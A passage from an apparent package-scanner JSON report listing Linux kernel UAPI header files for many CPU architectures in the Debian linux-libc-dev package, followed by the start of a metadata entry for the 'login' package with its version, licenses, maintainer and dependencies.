"/usr/lib/linux/uapi/arm64/asm/errno.h", "/usr/lib/linux/uapi/arm64/asm/fcntl.h", "/usr/lib/linux/uapi/arm64/asm/hwcap.h", "/usr/lib/linux/uapi/arm64/asm/ioctl.h", "/usr/lib/linux/uapi/arm64/asm/ioctls.h", "/usr/lib/linux/uapi/arm64/asm/ipcbuf.h", "/usr/lib/linux/uapi/arm64/asm/kvm.h", "/usr/lib/linux/uapi/arm64/asm/kvm_para.h", "/usr/lib/linux/uapi/arm64/asm/mman.h", "/usr/lib/linux/uapi/arm64/asm/msgbuf.h", "/usr/lib/linux/uapi/arm64/asm/param.h", "/usr/lib/linux/uapi/arm64/asm/perf_regs.h", "/usr/lib/linux/uapi/arm64/asm/poll.h", "/usr/lib/linux/uapi/arm64/asm/posix_types.h", "/usr/lib/linux/uapi/arm64/asm/ptrace.h", "/usr/lib/linux/uapi/arm64/asm/resource.h", "/usr/lib/linux/uapi/arm64/asm/sembuf.h", "/usr/lib/linux/uapi/arm64/asm/setup.h", "/usr/lib/linux/uapi/arm64/asm/shmbuf.h", "/usr/lib/linux/uapi/arm64/asm/sigcontext.h", "/usr/lib/linux/uapi/arm64/asm/siginfo.h", "/usr/lib/linux/uapi/arm64/asm/signal.h", "/usr/lib/linux/uapi/arm64/asm/socket.h", "/usr/lib/linux/uapi/arm64/asm/sockios.h", "/usr/lib/linux/uapi/arm64/asm/stat.h", "/usr/lib/linux/uapi/arm64/asm/statfs.h", "/usr/lib/linux/uapi/arm64/asm/sve_context.h", "/usr/lib/linux/uapi/arm64/asm/swab.h", "/usr/lib/linux/uapi/arm64/asm/termbits.h", "/usr/lib/linux/uapi/arm64/asm/termios.h", "/usr/lib/linux/uapi/arm64/asm/types.h", "/usr/lib/linux/uapi/arm64/asm/ucontext.h", "/usr/lib/linux/uapi/arm64/asm/unistd.h", "/usr/lib/linux/uapi/arm64/asm/unistd_64.h", "/usr/lib/linux/uapi/loongarch/asm/auxvec.h", "/usr/lib/linux/uapi/loongarch/asm/bitsperlong.h", "/usr/lib/linux/uapi/loongarch/asm/bpf_perf_event.h", "/usr/lib/linux/uapi/loongarch/asm/break.h", "/usr/lib/linux/uapi/loongarch/asm/byteorder.h", "/usr/lib/linux/uapi/loongarch/asm/errno.h", "/usr/lib/linux/uapi/loongarch/asm/fcntl.h", "/usr/lib/linux/uapi/loongarch/asm/hwcap.h", "/usr/lib/linux/uapi/loongarch/asm/ioctl.h", "/usr/lib/linux/uapi/loongarch/asm/ioctls.h", "/usr/lib/linux/uapi/loongarch/asm/ipcbuf.h", "/usr/lib/linux/uapi/loongarch/asm/kvm.h", "/usr/lib/linux/uapi/loongarch/asm/kvm_para.h", "/usr/lib/linux/uapi/loongarch/asm/mman.h", "/usr/lib/linux/uapi/loongarch/asm/msgbuf.h", "/usr/lib/linux/uapi/loongarch/asm/param.h", "/usr/lib/linux/uapi/loongarch/asm/perf_regs.h", "/usr/lib/linux/uapi/loongarch/asm/poll.h", "/usr/lib/linux/uapi/loongarch/asm/posix_types.h", "/usr/lib/linux/uapi/loongarch/asm/ptrace.h", "/usr/lib/linux/uapi/loongarch/asm/reg.h", "/usr/lib/linux/uapi/loongarch/asm/resource.h", "/usr/lib/linux/uapi/loongarch/asm/sembuf.h", "/usr/lib/linux/uapi/loongarch/asm/setup.h", "/usr/lib/linux/uapi/loongarch/asm/shmbuf.h", "/usr/lib/linux/uapi/loongarch/asm/sigcontext.h", "/usr/lib/linux/uapi/loongarch/asm/siginfo.h", "/usr/lib/linux/uapi/loongarch/asm/signal.h", "/usr/lib/linux/uapi/loongarch/asm/socket.h", "/usr/lib/linux/uapi/loongarch/asm/sockios.h", "/usr/lib/linux/uapi/loongarch/asm/stat.h", "/usr/lib/linux/uapi/loongarch/asm/statfs.h", "/usr/lib/linux/uapi/loongarch/asm/swab.h", "/usr/lib/linux/uapi/loongarch/asm/termbits.h", "/usr/lib/linux/uapi/loongarch/asm/termios.h", "/usr/lib/linux/uapi/loongarch/asm/types.h", "/usr/lib/linux/uapi/loongarch/asm/ucontext.h", "/usr/lib/linux/uapi/loongarch/asm/unistd.h", "/usr/lib/linux/uapi/loongarch/asm/unistd_64.h", "/usr/lib/linux/uapi/m68k/asm/a.out.h", "/usr/lib/linux/uapi/m68k/asm/auxvec.h", "/usr/lib/linux/uapi/m68k/asm/bitsperlong.h", "/usr/lib/linux/uapi/m68k/asm/bootinfo-amiga.h", "/usr/lib/linux/uapi/m68k/asm/bootinfo-apollo.h", "/usr/lib/linux/uapi/m68k/asm/bootinfo-atari.h", "/usr/lib/linux/uapi/m68k/asm/bootinfo-hp300.h", "/usr/lib/linux/uapi/m68k/asm/bootinfo-mac.h", "/usr/lib/linux/uapi/m68k/asm/bootinfo-q40.h", "/usr/lib/linux/uapi/m68k/asm/bootinfo-virt.h", "/usr/lib/linux/uapi/m68k/asm/bootinfo-vme.h", "/usr/lib/linux/uapi/m68k/asm/bootinfo.h", "/usr/lib/linux/uapi/m68k/asm/bpf_perf_event.h", "/usr/lib/linux/uapi/m68k/asm/byteorder.h", "/usr/lib/linux/uapi/m68k/asm/cachectl.h", "/usr/lib/linux/uapi/m68k/asm/errno.h", "/usr/lib/linux/uapi/m68k/asm/fcntl.h", "/usr/lib/linux/uapi/m68k/asm/ioctl.h", "/usr/lib/linux/uapi/m68k/asm/ioctls.h", "/usr/lib/linux/uapi/m68k/asm/ipcbuf.h", "/usr/lib/linux/uapi/m68k/asm/mman.h", "/usr/lib/linux/uapi/m68k/asm/msgbuf.h", "/usr/lib/linux/uapi/m68k/asm/param.h", "/usr/lib/linux/uapi/m68k/asm/poll.h", "/usr/lib/linux/uapi/m68k/asm/posix_types.h", "/usr/lib/linux/uapi/m68k/asm/ptrace.h", "/usr/lib/linux/uapi/m68k/asm/resource.h", "/usr/lib/linux/uapi/m68k/asm/sembuf.h", "/usr/lib/linux/uapi/m68k/asm/setup.h", "/usr/lib/linux/uapi/m68k/asm/shmbuf.h", "/usr/lib/linux/uapi/m68k/asm/sigcontext.h", "/usr/lib/linux/uapi/m68k/asm/siginfo.h", "/usr/lib/linux/uapi/m68k/asm/signal.h", "/usr/lib/linux/uapi/m68k/asm/socket.h", "/usr/lib/linux/uapi/m68k/asm/sockios.h", "/usr/lib/linux/uapi/m68k/asm/stat.h", "/usr/lib/linux/uapi/m68k/asm/statfs.h", "/usr/lib/linux/uapi/m68k/asm/swab.h", "/usr/lib/linux/uapi/m68k/asm/termbits.h", "/usr/lib/linux/uapi/m68k/asm/termios.h", "/usr/lib/linux/uapi/m68k/asm/types.h", "/usr/lib/linux/uapi/m68k/asm/unistd.h", "/usr/lib/linux/uapi/m68k/asm/unistd_32.h", "/usr/lib/linux/uapi/mips/asm/auxvec.h", "/usr/lib/linux/uapi/mips/asm/bitfield.h", "/usr/lib/linux/uapi/mips/asm/bitsperlong.h", "/usr/lib/linux/uapi/mips/asm/bpf_perf_event.h", "/usr/lib/linux/uapi/mips/asm/break.h", "/usr/lib/linux/uapi/mips/asm/byteorder.h", "/usr/lib/linux/uapi/mips/asm/cachectl.h", "/usr/lib/linux/uapi/mips/asm/errno.h", "/usr/lib/linux/uapi/mips/asm/fcntl.h", "/usr/lib/linux/uapi/mips/asm/hwcap.h", "/usr/lib/linux/uapi/mips/asm/inst.h", "/usr/lib/linux/uapi/mips/asm/ioctl.h", "/usr/lib/linux/uapi/mips/asm/ioctls.h", "/usr/lib/linux/uapi/mips/asm/ipcbuf.h", "/usr/lib/linux/uapi/mips/asm/kvm.h", "/usr/lib/linux/uapi/mips/asm/kvm_para.h", "/usr/lib/linux/uapi/mips/asm/mman.h", "/usr/lib/linux/uapi/mips/asm/msgbuf.h", "/usr/lib/linux/uapi/mips/asm/param.h", "/usr/lib/linux/uapi/mips/asm/perf_regs.h", "/usr/lib/linux/uapi/mips/asm/poll.h", "/usr/lib/linux/uapi/mips/asm/posix_types.h", "/usr/lib/linux/uapi/mips/asm/ptrace.h", "/usr/lib/linux/uapi/mips/asm/reg.h", "/usr/lib/linux/uapi/mips/asm/resource.h", "/usr/lib/linux/uapi/mips/asm/sembuf.h", "/usr/lib/linux/uapi/mips/asm/setup.h", "/usr/lib/linux/uapi/mips/asm/sgidefs.h", "/usr/lib/linux/uapi/mips/asm/shmbuf.h", "/usr/lib/linux/uapi/mips/asm/sigcontext.h", "/usr/lib/linux/uapi/mips/asm/siginfo.h", "/usr/lib/linux/uapi/mips/asm/signal.h", "/usr/lib/linux/uapi/mips/asm/socket.h", "/usr/lib/linux/uapi/mips/asm/sockios.h", "/usr/lib/linux/uapi/mips/asm/stat.h", "/usr/lib/linux/uapi/mips/asm/statfs.h", "/usr/lib/linux/uapi/mips/asm/swab.h", "/usr/lib/linux/uapi/mips/asm/sysmips.h", "/usr/lib/linux/uapi/mips/asm/termbits.h", "/usr/lib/linux/uapi/mips/asm/termios.h", "/usr/lib/linux/uapi/mips/asm/types.h", "/usr/lib/linux/uapi/mips/asm/ucontext.h", "/usr/lib/linux/uapi/mips/asm/unistd.h", "/usr/lib/linux/uapi/mips/asm/unistd_n32.h", "/usr/lib/linux/uapi/mips/asm/unistd_n64.h", "/usr/lib/linux/uapi/mips/asm/unistd_o32.h", "/usr/lib/linux/uapi/parisc/asm/auxvec.h", "/usr/lib/linux/uapi/parisc/asm/bitsperlong.h", "/usr/lib/linux/uapi/parisc/asm/bpf_perf_event.h", "/usr/lib/linux/uapi/parisc/asm/byteorder.h", "/usr/lib/linux/uapi/parisc/asm/cachectl.h", "/usr/lib/linux/uapi/parisc/asm/errno.h", "/usr/lib/linux/uapi/parisc/asm/fcntl.h", "/usr/lib/linux/uapi/parisc/asm/ioctl.h", "/usr/lib/linux/uapi/parisc/asm/ioctls.h", "/usr/lib/linux/uapi/parisc/asm/ipcbuf.h", "/usr/lib/linux/uapi/parisc/asm/mman.h", "/usr/lib/linux/uapi/parisc/asm/msgbuf.h", "/usr/lib/linux/uapi/parisc/asm/param.h", "/usr/lib/linux/uapi/parisc/asm/pdc.h", "/usr/lib/linux/uapi/parisc/asm/poll.h", "/usr/lib/linux/uapi/parisc/asm/posix_types.h", "/usr/lib/linux/uapi/parisc/asm/ptrace.h", "/usr/lib/linux/uapi/parisc/asm/resource.h", "/usr/lib/linux/uapi/parisc/asm/sembuf.h", "/usr/lib/linux/uapi/parisc/asm/setup.h", "/usr/lib/linux/uapi/parisc/asm/shmbuf.h", "/usr/lib/linux/uapi/parisc/asm/sigcontext.h", "/usr/lib/linux/uapi/parisc/asm/siginfo.h", "/usr/lib/linux/uapi/parisc/asm/signal.h", "/usr/lib/linux/uapi/parisc/asm/socket.h", "/usr/lib/linux/uapi/parisc/asm/sockios.h", "/usr/lib/linux/uapi/parisc/asm/stat.h", "/usr/lib/linux/uapi/parisc/asm/statfs.h", "/usr/lib/linux/uapi/parisc/asm/swab.h", "/usr/lib/linux/uapi/parisc/asm/termbits.h", "/usr/lib/linux/uapi/parisc/asm/termios.h", "/usr/lib/linux/uapi/parisc/asm/types.h", "/usr/lib/linux/uapi/parisc/asm/unistd.h", "/usr/lib/linux/uapi/parisc/asm/unistd_32.h", "/usr/lib/linux/uapi/parisc/asm/unistd_64.h", "/usr/lib/linux/uapi/powerpc/asm/auxvec.h", "/usr/lib/linux/uapi/powerpc/asm/bitsperlong.h", "/usr/lib/linux/uapi/powerpc/asm/bootx.h", "/usr/lib/linux/uapi/powerpc/asm/bpf_perf_event.h", "/usr/lib/linux/uapi/powerpc/asm/byteorder.h", "/usr/lib/linux/uapi/powerpc/asm/cputable.h", "/usr/lib/linux/uapi/powerpc/asm/eeh.h", "/usr/lib/linux/uapi/powerpc/asm/elf.h", "/usr/lib/linux/uapi/powerpc/asm/epapr_hcalls.h", "/usr/lib/linux/uapi/powerpc/asm/errno.h", "/usr/lib/linux/uapi/powerpc/asm/fcntl.h", "/usr/lib/linux/uapi/powerpc/asm/ioctl.h", "/usr/lib/linux/uapi/powerpc/asm/ioctls.h", "/usr/lib/linux/uapi/powerpc/asm/ipcbuf.h", "/usr/lib/linux/uapi/powerpc/asm/kvm.h", "/usr/lib/linux/uapi/powerpc/asm/kvm_para.h", "/usr/lib/linux/uapi/powerpc/asm/mman.h", "/usr/lib/linux/uapi/powerpc/asm/msgbuf.h", "/usr/lib/linux/uapi/powerpc/asm/nvram.h", "/usr/lib/linux/uapi/powerpc/asm/opal-prd.h", "/usr/lib/linux/uapi/powerpc/asm/papr-miscdev.h", "/usr/lib/linux/uapi/powerpc/asm/papr-sysparm.h", "/usr/lib/linux/uapi/powerpc/asm/papr-vpd.h", "/usr/lib/linux/uapi/powerpc/asm/param.h", "/usr/lib/linux/uapi/powerpc/asm/perf_event.h", "/usr/lib/linux/uapi/powerpc/asm/perf_regs.h", "/usr/lib/linux/uapi/powerpc/asm/poll.h", "/usr/lib/linux/uapi/powerpc/asm/posix_types.h", "/usr/lib/linux/uapi/powerpc/asm/ps3fb.h", "/usr/lib/linux/uapi/powerpc/asm/ptrace.h", "/usr/lib/linux/uapi/powerpc/asm/resource.h", "/usr/lib/linux/uapi/powerpc/asm/sembuf.h", "/usr/lib/linux/uapi/powerpc/asm/setup.h", "/usr/lib/linux/uapi/powerpc/asm/shmbuf.h", "/usr/lib/linux/uapi/powerpc/asm/sigcontext.h", "/usr/lib/linux/uapi/powerpc/asm/siginfo.h", "/usr/lib/linux/uapi/powerpc/asm/signal.h", "/usr/lib/linux/uapi/powerpc/asm/socket.h", "/usr/lib/linux/uapi/powerpc/asm/sockios.h", "/usr/lib/linux/uapi/powerpc/asm/spu_info.h", "/usr/lib/linux/uapi/powerpc/asm/stat.h", "/usr/lib/linux/uapi/powerpc/asm/statfs.h", "/usr/lib/linux/uapi/powerpc/asm/swab.h", "/usr/lib/linux/uapi/powerpc/asm/termbits.h", "/usr/lib/linux/uapi/powerpc/asm/termios.h", "/usr/lib/linux/uapi/powerpc/asm/tm.h", "/usr/lib/linux/uapi/powerpc/asm/types.h", "/usr/lib/linux/uapi/powerpc/asm/ucontext.h", "/usr/lib/linux/uapi/powerpc/asm/unistd.h", "/usr/lib/linux/uapi/powerpc/asm/unistd_32.h", "/usr/lib/linux/uapi/powerpc/asm/unistd_64.h", "/usr/lib/linux/uapi/powerpc/asm/vas-api.h", "/usr/lib/linux/uapi/riscv/asm/auxvec.h", "/usr/lib/linux/uapi/riscv/asm/bitsperlong.h", "/usr/lib/linux/uapi/riscv/asm/bpf_perf_event.h", "/usr/lib/linux/uapi/riscv/asm/byteorder.h", "/usr/lib/linux/uapi/riscv/asm/elf.h", "/usr/lib/linux/uapi/riscv/asm/errno.h", "/usr/lib/linux/uapi/riscv/asm/fcntl.h", "/usr/lib/linux/uapi/riscv/asm/hwcap.h", "/usr/lib/linux/uapi/riscv/asm/hwprobe.h", "/usr/lib/linux/uapi/riscv/asm/ioctl.h", "/usr/lib/linux/uapi/riscv/asm/ioctls.h", "/usr/lib/linux/uapi/riscv/asm/ipcbuf.h", "/usr/lib/linux/uapi/riscv/asm/kvm.h", "/usr/lib/linux/uapi/riscv/asm/mman.h", "/usr/lib/linux/uapi/riscv/asm/msgbuf.h", "/usr/lib/linux/uapi/riscv/asm/param.h", "/usr/lib/linux/uapi/riscv/asm/perf_regs.h", "/usr/lib/linux/uapi/riscv/asm/poll.h", "/usr/lib/linux/uapi/riscv/asm/posix_types.h", "/usr/lib/linux/uapi/riscv/asm/ptrace.h", "/usr/lib/linux/uapi/riscv/asm/resource.h", "/usr/lib/linux/uapi/riscv/asm/sembuf.h", "/usr/lib/linux/uapi/riscv/asm/setup.h", "/usr/lib/linux/uapi/riscv/asm/shmbuf.h", "/usr/lib/linux/uapi/riscv/asm/sigcontext.h", "/usr/lib/linux/uapi/riscv/asm/siginfo.h", "/usr/lib/linux/uapi/riscv/asm/signal.h", "/usr/lib/linux/uapi/riscv/asm/socket.h", "/usr/lib/linux/uapi/riscv/asm/sockios.h", "/usr/lib/linux/uapi/riscv/asm/stat.h", "/usr/lib/linux/uapi/riscv/asm/statfs.h", "/usr/lib/linux/uapi/riscv/asm/swab.h", "/usr/lib/linux/uapi/riscv/asm/termbits.h", "/usr/lib/linux/uapi/riscv/asm/termios.h", "/usr/lib/linux/uapi/riscv/asm/types.h", "/usr/lib/linux/uapi/riscv/asm/ucontext.h", "/usr/lib/linux/uapi/riscv/asm/unistd.h", "/usr/lib/linux/uapi/riscv/asm/unistd_32.h", "/usr/lib/linux/uapi/riscv/asm/unistd_64.h", "/usr/lib/linux/uapi/s390/asm/auxvec.h", "/usr/lib/linux/uapi/s390/asm/bitsperlong.h", "/usr/lib/linux/uapi/s390/asm/bpf_perf_event.h", "/usr/lib/linux/uapi/s390/asm/byteorder.h", "/usr/lib/linux/uapi/s390/asm/chpid.h", "/usr/lib/linux/uapi/s390/asm/chsc.h", "/usr/lib/linux/uapi/s390/asm/clp.h", "/usr/lib/linux/uapi/s390/asm/cmb.h", "/usr/lib/linux/uapi/s390/asm/dasd.h", "/usr/lib/linux/uapi/s390/asm/errno.h", "/usr/lib/linux/uapi/s390/asm/fcntl.h", "/usr/lib/linux/uapi/s390/asm/fs3270.h", "/usr/lib/linux/uapi/s390/asm/guarded_storage.h", "/usr/lib/linux/uapi/s390/asm/hwctrset.h", "/usr/lib/linux/uapi/s390/asm/hypfs.h", "/usr/lib/linux/uapi/s390/asm/ioctl.h", "/usr/lib/linux/uapi/s390/asm/ioctls.h", "/usr/lib/linux/uapi/s390/asm/ipcbuf.h", "/usr/lib/linux/uapi/s390/asm/ipl.h", "/usr/lib/linux/uapi/s390/asm/kvm.h", "/usr/lib/linux/uapi/s390/asm/kvm_para.h", "/usr/lib/linux/uapi/s390/asm/kvm_perf.h", "/usr/lib/linux/uapi/s390/asm/mman.h", "/usr/lib/linux/uapi/s390/asm/monwriter.h", "/usr/lib/linux/uapi/s390/asm/msgbuf.h", "/usr/lib/linux/uapi/s390/asm/param.h", "/usr/lib/linux/uapi/s390/asm/perf_regs.h", "/usr/lib/linux/uapi/s390/asm/pkey.h", "/usr/lib/linux/uapi/s390/asm/poll.h", "/usr/lib/linux/uapi/s390/asm/posix_types.h", "/usr/lib/linux/uapi/s390/asm/ptrace.h", "/usr/lib/linux/uapi/s390/asm/qeth.h", "/usr/lib/linux/uapi/s390/asm/raw3270.h", "/usr/lib/linux/uapi/s390/asm/resource.h", "/usr/lib/linux/uapi/s390/asm/runtime_instr.h", "/usr/lib/linux/uapi/s390/asm/schid.h", "/usr/lib/linux/uapi/s390/asm/sclp_ctl.h", "/usr/lib/linux/uapi/s390/asm/sembuf.h", "/usr/lib/linux/uapi/s390/asm/setup.h", "/usr/lib/linux/uapi/s390/asm/shmbuf.h", "/usr/lib/linux/uapi/s390/asm/sie.h", "/usr/lib/linux/uapi/s390/asm/sigcontext.h", "/usr/lib/linux/uapi/s390/asm/siginfo.h", "/usr/lib/linux/uapi/s390/asm/signal.h", "/usr/lib/linux/uapi/s390/asm/socket.h", "/usr/lib/linux/uapi/s390/asm/sockios.h", "/usr/lib/linux/uapi/s390/asm/stat.h", "/usr/lib/linux/uapi/s390/asm/statfs.h", "/usr/lib/linux/uapi/s390/asm/sthyi.h", "/usr/lib/linux/uapi/s390/asm/swab.h", "/usr/lib/linux/uapi/s390/asm/tape390.h", "/usr/lib/linux/uapi/s390/asm/termbits.h", "/usr/lib/linux/uapi/s390/asm/termios.h", "/usr/lib/linux/uapi/s390/asm/types.h", "/usr/lib/linux/uapi/s390/asm/ucontext.h", "/usr/lib/linux/uapi/s390/asm/unistd.h", "/usr/lib/linux/uapi/s390/asm/unistd_32.h", "/usr/lib/linux/uapi/s390/asm/unistd_64.h", "/usr/lib/linux/uapi/s390/asm/uvdevice.h", "/usr/lib/linux/uapi/s390/asm/virtio-ccw.h", "/usr/lib/linux/uapi/s390/asm/vmcp.h", "/usr/lib/linux/uapi/s390/asm/vtoc.h", "/usr/lib/linux/uapi/s390/asm/zcrypt.h", "/usr/lib/linux/uapi/sh/asm/auxvec.h", "/usr/lib/linux/uapi/sh/asm/bitsperlong.h", "/usr/lib/linux/uapi/sh/asm/bpf_perf_event.h", "/usr/lib/linux/uapi/sh/asm/byteorder.h", "/usr/lib/linux/uapi/sh/asm/cachectl.h", "/usr/lib/linux/uapi/sh/asm/cpu-features.h", "/usr/lib/linux/uapi/sh/asm/errno.h", "/usr/lib/linux/uapi/sh/asm/fcntl.h", "/usr/lib/linux/uapi/sh/asm/hw_breakpoint.h", "/usr/lib/linux/uapi/sh/asm/ioctl.h", "/usr/lib/linux/uapi/sh/asm/ioctls.h", "/usr/lib/linux/uapi/sh/asm/ipcbuf.h", "/usr/lib/linux/uapi/sh/asm/mman.h", "/usr/lib/linux/uapi/sh/asm/msgbuf.h", "/usr/lib/linux/uapi/sh/asm/param.h", "/usr/lib/linux/uapi/sh/asm/poll.h", "/usr/lib/linux/uapi/sh/asm/posix_types.h", "/usr/lib/linux/uapi/sh/asm/posix_types_32.h", "/usr/lib/linux/uapi/sh/asm/ptrace.h", "/usr/lib/linux/uapi/sh/asm/ptrace_32.h", "/usr/lib/linux/uapi/sh/asm/resource.h", "/usr/lib/linux/uapi/sh/asm/sembuf.h", "/usr/lib/linux/uapi/sh/asm/setup.h", "/usr/lib/linux/uapi/sh/asm/shmbuf.h", "/usr/lib/linux/uapi/sh/asm/sigcontext.h", "/usr/lib/linux/uapi/sh/asm/siginfo.h", "/usr/lib/linux/uapi/sh/asm/signal.h", "/usr/lib/linux/uapi/sh/asm/socket.h", "/usr/lib/linux/uapi/sh/asm/sockios.h", "/usr/lib/linux/uapi/sh/asm/stat.h", "/usr/lib/linux/uapi/sh/asm/statfs.h", "/usr/lib/linux/uapi/sh/asm/swab.h", "/usr/lib/linux/uapi/sh/asm/termbits.h", "/usr/lib/linux/uapi/sh/asm/termios.h", "/usr/lib/linux/uapi/sh/asm/types.h", "/usr/lib/linux/uapi/sh/asm/ucontext.h", "/usr/lib/linux/uapi/sh/asm/unistd.h", "/usr/lib/linux/uapi/sh/asm/unistd_32.h", "/usr/lib/linux/uapi/sparc/asm/apc.h", "/usr/lib/linux/uapi/sparc/asm/asi.h", "/usr/lib/linux/uapi/sparc/asm/auxvec.h", "/usr/lib/linux/uapi/sparc/asm/bitsperlong.h", "/usr/lib/linux/uapi/sparc/asm/bpf_perf_event.h", "/usr/lib/linux/uapi/sparc/asm/byteorder.h", "/usr/lib/linux/uapi/sparc/asm/display7seg.h", "/usr/lib/linux/uapi/sparc/asm/envctrl.h", "/usr/lib/linux/uapi/sparc/asm/errno.h", "/usr/lib/linux/uapi/sparc/asm/fbio.h", "/usr/lib/linux/uapi/sparc/asm/fcntl.h", "/usr/lib/linux/uapi/sparc/asm/ioctl.h", "/usr/lib/linux/uapi/sparc/asm/ioctls.h", "/usr/lib/linux/uapi/sparc/asm/ipcbuf.h", "/usr/lib/linux/uapi/sparc/asm/mman.h", "/usr/lib/linux/uapi/sparc/asm/msgbuf.h", "/usr/lib/linux/uapi/sparc/asm/openpromio.h", "/usr/lib/linux/uapi/sparc/asm/oradax.h", "/usr/lib/linux/uapi/sparc/asm/param.h", "/usr/lib/linux/uapi/sparc/asm/perfctr.h", "/usr/lib/linux/uapi/sparc/asm/poll.h", "/usr/lib/linux/uapi/sparc/asm/posix_types.h", "/usr/lib/linux/uapi/sparc/asm/psr.h", "/usr/lib/linux/uapi/sparc/asm/psrcompat.h", "/usr/lib/linux/uapi/sparc/asm/pstate.h", "/usr/lib/linux/uapi/sparc/asm/ptrace.h", "/usr/lib/linux/uapi/sparc/asm/resource.h", "/usr/lib/linux/uapi/sparc/asm/sembuf.h", "/usr/lib/linux/uapi/sparc/asm/setup.h", "/usr/lib/linux/uapi/sparc/asm/shmbuf.h", "/usr/lib/linux/uapi/sparc/asm/sigcontext.h", "/usr/lib/linux/uapi/sparc/asm/siginfo.h", "/usr/lib/linux/uapi/sparc/asm/signal.h", "/usr/lib/linux/uapi/sparc/asm/socket.h", "/usr/lib/linux/uapi/sparc/asm/sockios.h", "/usr/lib/linux/uapi/sparc/asm/stat.h", "/usr/lib/linux/uapi/sparc/asm/statfs.h", "/usr/lib/linux/uapi/sparc/asm/swab.h", "/usr/lib/linux/uapi/sparc/asm/termbits.h", "/usr/lib/linux/uapi/sparc/asm/termios.h", "/usr/lib/linux/uapi/sparc/asm/traps.h", "/usr/lib/linux/uapi/sparc/asm/types.h", "/usr/lib/linux/uapi/sparc/asm/uctx.h", "/usr/lib/linux/uapi/sparc/asm/unistd.h", "/usr/lib/linux/uapi/sparc/asm/unistd_32.h", "/usr/lib/linux/uapi/sparc/asm/unistd_64.h", "/usr/lib/linux/uapi/sparc/asm/utrap.h", "/usr/lib/linux/uapi/sparc/asm/watchdog.h", "/usr/lib/linux/uapi/x86/asm/a.out.h", "/usr/lib/linux/uapi/x86/asm/amd_hsmp.h", "/usr/lib/linux/uapi/x86/asm/auxvec.h", "/usr/lib/linux/uapi/x86/asm/bitsperlong.h", "/usr/lib/linux/uapi/x86/asm/boot.h", "/usr/lib/linux/uapi/x86/asm/bootparam.h", "/usr/lib/linux/uapi/x86/asm/bpf_perf_event.h", "/usr/lib/linux/uapi/x86/asm/byteorder.h", "/usr/lib/linux/uapi/x86/asm/debugreg.h", "/usr/lib/linux/uapi/x86/asm/e820.h", "/usr/lib/linux/uapi/x86/asm/elf.h", "/usr/lib/linux/uapi/x86/asm/errno.h", "/usr/lib/linux/uapi/x86/asm/fcntl.h", "/usr/lib/linux/uapi/x86/asm/hw_breakpoint.h", "/usr/lib/linux/uapi/x86/asm/hwcap2.h", "/usr/lib/linux/uapi/x86/asm/ioctl.h", "/usr/lib/linux/uapi/x86/asm/ioctls.h", "/usr/lib/linux/uapi/x86/asm/ipcbuf.h", "/usr/lib/linux/uapi/x86/asm/ist.h", "/usr/lib/linux/uapi/x86/asm/kvm.h", "/usr/lib/linux/uapi/x86/asm/kvm_para.h", "/usr/lib/linux/uapi/x86/asm/kvm_perf.h", "/usr/lib/linux/uapi/x86/asm/ldt.h", "/usr/lib/linux/uapi/x86/asm/mce.h", "/usr/lib/linux/uapi/x86/asm/mman.h", "/usr/lib/linux/uapi/x86/asm/msgbuf.h", "/usr/lib/linux/uapi/x86/asm/msr.h", "/usr/lib/linux/uapi/x86/asm/mtrr.h", "/usr/lib/linux/uapi/x86/asm/param.h", "/usr/lib/linux/uapi/x86/asm/perf_regs.h", "/usr/lib/linux/uapi/x86/asm/poll.h", "/usr/lib/linux/uapi/x86/asm/posix_types.h", "/usr/lib/linux/uapi/x86/asm/posix_types_32.h", "/usr/lib/linux/uapi/x86/asm/posix_types_64.h", "/usr/lib/linux/uapi/x86/asm/posix_types_x32.h", "/usr/lib/linux/uapi/x86/asm/prctl.h", "/usr/lib/linux/uapi/x86/asm/processor-flags.h", "/usr/lib/linux/uapi/x86/asm/ptrace-abi.h", "/usr/lib/linux/uapi/x86/asm/ptrace.h", "/usr/lib/linux/uapi/x86/asm/resource.h", "/usr/lib/linux/uapi/x86/asm/sembuf.h", "/usr/lib/linux/uapi/x86/asm/setup.h", "/usr/lib/linux/uapi/x86/asm/setup_data.h", "/usr/lib/linux/uapi/x86/asm/sgx.h", "/usr/lib/linux/uapi/x86/asm/shmbuf.h", "/usr/lib/linux/uapi/x86/asm/sigcontext.h", "/usr/lib/linux/uapi/x86/asm/sigcontext32.h", "/usr/lib/linux/uapi/x86/asm/siginfo.h", "/usr/lib/linux/uapi/x86/asm/signal.h", "/usr/lib/linux/uapi/x86/asm/socket.h", "/usr/lib/linux/uapi/x86/asm/sockios.h", "/usr/lib/linux/uapi/x86/asm/stat.h", "/usr/lib/linux/uapi/x86/asm/statfs.h", "/usr/lib/linux/uapi/x86/asm/svm.h", "/usr/lib/linux/uapi/x86/asm/swab.h", "/usr/lib/linux/uapi/x86/asm/termbits.h", "/usr/lib/linux/uapi/x86/asm/termios.h", "/usr/lib/linux/uapi/x86/asm/types.h", "/usr/lib/linux/uapi/x86/asm/ucontext.h", "/usr/lib/linux/uapi/x86/asm/unistd.h", "/usr/lib/linux/uapi/x86/asm/unistd_32.h", "/usr/lib/linux/uapi/x86/asm/unistd_64.h", "/usr/lib/linux/uapi/x86/asm/unistd_x32.h", "/usr/lib/linux/uapi/x86/asm/vm86.h", "/usr/lib/linux/uapi/x86/asm/vmx.h", "/usr/lib/linux/uapi/x86/asm/vsyscall.h", "/usr/share/doc/linux-libc-dev/changelog.Debian.gz", "/usr/share/doc/linux-libc-dev/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "login@1:4.16.0-2+really2.41-5", "Name": "login", "Identifier": { "PURL": "pkg:deb/debian/login@4.16.0-2%2Breally2.41-5?arch=amd64\u0026distro=debian-13.3\u0026epoch=1", "UID": "35a636a49ab503ca" }, "Version": "4.16.0-2+really2.41", "Release": "5", "Epoch": 1, "Arch": "amd64", "SrcName": "util-linux", "SrcVersion": "2.41", "SrcRelease": "5", "Licenses": [ "GPL-2.0-or-later", "GPL-2.0-only", "GPL-3.0-or-later", "LGPL-2.1-or-later", "public-domain", "BSD-4-Clause", "MIT", "ISC", "BSD-3-Clause", "BSLA", "LGPL-2.0-or-later", "BSD-2-Clause", "LGPL-3.0-or-later", "GPL-3.0-only", "LGPL-2.0-only", "LGPL-2.1-only", "LGPL-3.0-only" ], "Maintainer": "Chris Hofstaedtler \u003czeha@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libaudit1@1:4.0.2-2+b2", "libc6@2.41-12+deb13u2", "libcrypt1@1:4.4.38-1", "libpam-modules@1.7.0-5", "libpam-runtime@1.7.0-5", "libpam0g@1.7.0-5" ], "Layer": { "DiffID": 